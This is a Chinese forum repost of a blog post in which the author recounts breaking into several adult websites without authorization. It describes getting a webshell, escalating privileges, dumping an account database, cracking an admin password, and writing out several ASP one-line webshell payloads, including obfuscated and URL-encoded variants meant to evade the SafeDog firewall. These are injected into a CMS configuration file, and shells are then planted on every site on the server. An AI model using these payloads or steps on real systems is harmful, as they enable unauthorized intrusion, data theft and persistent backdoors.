搜索

[19] 2019-11-07_我是如何渗透拿下某黄色网站的

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-15
2019-11-07_我是如何渗透拿下某黄色网站的 我 是 如 何 渗 透 拿 下 某 黄 色 网 站 的 原 创   X 4 s t   7 8 9 0 安 全 攻 防 实 验 室   2 0 1 9 - 1 1 - 0 7   从 事 情 的 经 过 到 现 在 差 不 多 已 经 有 一 个 月 了 ， 一 个 月 前 我 发 现 了 一 个 黄 色 网 站 .   事 情 的 经 过 很 离 谱 ， 怎 么 说 呢 . . . .   当 时 有 人 拿 一 个 站 跟 我 装 逼 ， 我 当 时 就 不 爽 了 ， 这 逼 要 是 都 让 你 装 了 我 怎 么 装 啊 . 于 是 我 也 准 备 黑 掉 他 ， 主 站 肯 定 没 啥 戏 ， 那 就 旁 站 喽 ， 然 后 一 看 ， 十 个 里 面 八 个 色 站 ， 渍 渍 渍 ~ 没 想 到 你 是 这 样 的 人 . 可 是 咱 对 黄 色 没 站 没 啥 思 路 啊 ， 于 是 就 研 究 了 很 久 先 是 发 现 有 个 南 方 站 ~ 这 不 就 来 思 路 了 . 就 对 这 个 南 方 站 下 手 了 没 到 几 分 钟 就 拿 到 W E B s h e l l 了 我 就 看 权 限 ， 好 小 连 跨 站 都 不 能 ， 只 能 提 权 了 ， 当 然 了 也 是 非 常 顺 利 的 提 下 了 服 务 器 ， 我 提 下 服 务 器 以 后 第 一 个 焦 点 就 是 那 几 个 色 站 ， 我 已 经 迫 不 及 待 的 脱 裤 子 了 （ 是 脱 数 据 库 ） 然 后 发 现 了 M d b 文 件 ， 这 不 就 是 存 放 账 号 密 码 的 地 方 啊 ， 我 得 看 看 ， 下 载 出 来 看 了 一 下 M D 5 解 开 竟 然 是 a d m i n 5 2 1 ~ 这 . . . . 很 尴 尬 ， 当 时 我 就 直 接 打 开 网 站 后 台   输 入 账 号 密 码 一 看 是 马 克 思 c m s ~ 早 该 想 到 的 . 下 面 才 是 正 题 ~   就 在 前 一 个 星 期 左 右 的 吧 ， 我 看 到 别 人 发 色 站 装 逼 ， 还 有 黑 页 ， 黑 客 就 是 厉 害 ， 什 么 也 能 黑 ~ 我 也 准 备 试 试 喽 ~ 先 掏 出 来 我 的 工 具 一 顿 扫 ， 结 果 发 现 有 安 全 狗 ， 这 . . . 就 尴 尬 了 ， 直 接 给 我 拦 截 了 ， 没 办 法 代 理 V P N 继 续 搞 ~ 这 次 不 扫 了 直 接 手 动 日 ， 先 把 旁 站 收 集 出 来 ， 然 后 拿 到 工 具 里 面 查 看 了 一 下 c m s 一 看 竟 然 是 马 克 思 的 c m s 这 . . . . 就 尴 尬 了 . 难 不 成 是 我 之 前 日 过 的 ~ 于 是 我 就 按 照 之 前 的 思 路 打 开 网 站 后 面 输 入 a d m i n 知 道 看 到 了 后 台 先 是 默 认 密 码 ~ 然 后 没 戏 ， 当 时 就 感 到 失 望 ， 于 是 吃 了 个 饭 回 来 就 又 继 续 搞 了 ， 想 了 好 久 才 想 起 来 a d m i n 5 2 1 这 个 密 码 的 然 后 一 试 . 我 擦 ~ 进 去 了 .   这 次 必 须 打 码 ~   进 到 后 台 以 后 就 想 拿 s h e l l 呗   这 还 不 是 稳 稳 的 事 啊 ~   马 克 思 c m s 一 般 都 是 两 种 拿 s h e l l 方 法 第 一 种 是 自 带 的 F C K 编 辑 器 利 用 解 析 漏 洞 第 二 种 是 网 站 配 置 哪 里 写 入 闭 合 一 句 话 然 后 打 开 i n c / c o n f i g . a s p 连 接 即 可 。   我 先 尝 试 了 一 下 F C K 上 传 点 结 果 发 现 我 创 建 的 1 . a s p 成 1 _ a s p 了 ！   试 了 很 多 方 法 都 死 ， 然 后 我 就 放 弃 这 条 路 了 . 为 什 么 我 不 直 接 在 网 站 配 置 里 面 插 入 一 句 话 呢 因 为 这 个 方 法 风 险 太 大 ， 可 是 现 在 只 能 这 么 做 了   我 就 去 网 上 找 了 一 个 一 句 话 闭 合 一 句 话 来 " % > < % e x e c u t e ( r e q u e s t ( " p a s s " ) ) % > < % '   写 进 网 站 名 称 里 面 然 后 访 问 w w w . x x x . c o m / i n c / c o n f i g . a s p
  日 了 狗 了 ， 我 怎 么 把 他 给 忘 记 了 . 玩 蛋 了   已 经 玩 坏 了 一 个 网 站 . 不 过 运 气 算 好 旁 站 还 有 存 在 默 认 的 后 台 的   于 是 这 一 次 我 就 谨 慎 了 ， 不 能 再 这 么 玩 了 . 就 去 网 上 找 免 杀 的 闭 合 一 句 话 找 了 很 多 都 没 戏 ， 当 我 绝 望 的 时 候 想 起 来 了 为 啥 不 自 己 写 个 免 杀 的 啊 ， 后 来 从 网 上 找 了 一 个 闭 合 一 句 话 ， 看 了 也 一 下 . . . . 这 . . . . 貌 似 没 啥 难 度 啊 只 是 加 个 字 符 闭 合 起 来 啊 . 下 面 随 便 说 下 啊 ~ 大 牛 跳 过 . “ % > < % e v a l   ( e v a l ( c h r ( 1 1 4 ) + c h r ( 1 0 1 ) + c h r ( 1 1 3 ) + c h r ( 1 1 7 ) + c h r ( 1 0 1 ) + c h r ( 1 1 5 ) + c h r ( 1 1 6 ) ) ( " a " ) ) % > < s s = ” 这 是 当 时 别 人 给 我 的 一 个 闭 合 一 句 话 说 是 免 杀   我 看 着 挺 牛 逼 的 ， 拿 到 安 全 狗 里 面 看 了 一 下   心 好 累 ~ 这 也 不 行 啊 ， 但 是 我 翻 我 的 马 的 时 候 发 现 我 竟 然 也 有 这 个 一 句 话 但 是 不 一 样 而 已 < % e v a l   ( e v a l ( c h r ( 1 1 4 ) + c h r ( 1 0 1 ) + c h r ( 1 1 3 ) + c h r ( 1 1 7 ) + c h r ( 1 0 1 ) + c h r ( 1 1 5 ) + c h r ( 1 1 6 ) ) ( " a " ) ) % >   我 的 是 这 样 的 ， 他 跟 我 说 他 的 是 闭 合 一 句 话 ， 但 是 我 看 了 一 下 只 是 加 了 两 个 字 符 啊 ， 竟 然 这 样 的 话 我 自 己 也 是 试 试 然 后 就 把 我 自 己 珍 藏 多 年 的 免 杀 一 句 话 拿 了 出 来 < % e x e c u t e ( u n e s c a p e ( " e v a l % 2 0 r e q u e s t % 2 8 % 2 2 a a a % 2 2 % 2 9 " ) ) % > 然 后 我 也 尝 试 着 闭 合 起 来 " % > < % e x e c u t e ( u n e s c a p e ( " e v a l % 2 0 r e q u e s t % 2 8 % 2 2 a a a % 2 2 % 2 9 " ) ) % > < % ' 拿 到 安 全 狗 里 面 扫 了 一 下
  成 功 的 过 狗 了 ~ 我 就 迫 不 及 待 的 去 尝 试 一 下 插 入 网 站 配 置 里 面 然 后 访 问 w w w . x x x . c o m / i n c / c o n f i g . a s p     空 白   说 明 插 入 成 功 了   赶 紧 开 启 我 的 菜 刀 连 接 发 现 一 句 话 乖 乖 的 躺 在 里 面 ~
  而 且 权 限 很 大 可 以 跨 站 修 改 修 改   上 传   = = 但 是 最 终 没 有 免 杀 的 a s p x 大 马 没 能 提 下 服 务 器   很 可 惜 。   只 好 把 所 有 的 网 站 里 面 都 上 传 我 的 马 了 。   为 了 安 全 只 能 这 么 打 码 了 ~ 恩 ~ 文 章 到 这 里 结 束 了 . 感 谢 大 家 观 看 ， 我 是 X 4 s t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理